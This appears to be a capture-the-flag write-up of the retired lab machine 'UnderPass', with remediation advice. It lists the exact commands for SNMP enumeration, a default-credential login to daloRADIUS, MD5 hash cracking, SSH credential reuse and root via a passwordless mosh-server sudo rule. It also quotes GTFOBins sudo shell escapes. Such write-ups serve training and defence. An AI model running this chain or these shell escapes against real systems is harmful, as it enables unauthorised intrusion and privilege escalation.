UnderPass
Summary
I identified SNMP running openly on the internet with the default 'public' community string, which disclosed the hostname UnDerPass.htb and advertised the installed daloRADIUS application. The daloRADIUS operator web panel accepted its factory-default credentials unchanged, granting administrative control over the RADIUS server.
The user management screen exposed every RADIUS account's password stored as an unsalted MD5 hash; one hash was cracked offline in seconds, yielding the SSH password for the same account name on the host. Once inside as svcMosh, a passwordless sudo rule for mosh-server let me spawn a root-owned Mosh session and obtain an interactive root shell — full system compromise in four chained steps.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sU -p 161 -sV --open $TARGETsnmpwalk -v1 -c public $TARGET 1.3.6.1.2.1.1FixDisable SNMP or restrict it to management networks with a non-default community stringMedium
Exact commands 2
echo "$TARGET underpass.htb" | sudo tee -a /etc/hostscurl -s -o /dev/null -w '%{http_code}' http://$TARGET/daloradius/app/operators/login.phpExact commands 1
curl -sik -c cookies.txt -X POST http://$TARGET/daloradius/app/operators/login.php --data 'username=administrator&password=$PASSWORD2' -LFixChange daloRADIUS default operator credentials and restrict admin panel network accessCritical
Exact commands 2
curl -sb cookies.txt "http://$TARGET/daloradius/app/operators/mng-users-list.php"echo '$PASSWORD3' > hash.txt && hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt --forceFixReplace unsalted MD5 password storage with a strong adaptive hashing algorithmHigh
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svcMosh@$TARGET 'id; cat /home/svcMosh/user.txt'Exact commands 4
sudo -lsudo /usr/bin/mosh-server new -p 60002 -c 256 -s -l LANG=en_US.UTF-8export MOSH_KEY='$PASSWORD4' && mosh-client 127.0.0.1 60002id && cat /root/root.txtFixRemove the passwordless sudo rule granting unrestricted mosh-server executionCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.52 ((Ubuntu)) |
| 161/udp | snmp SNMPv1 server; net-snmp SNMPv3 server (public) |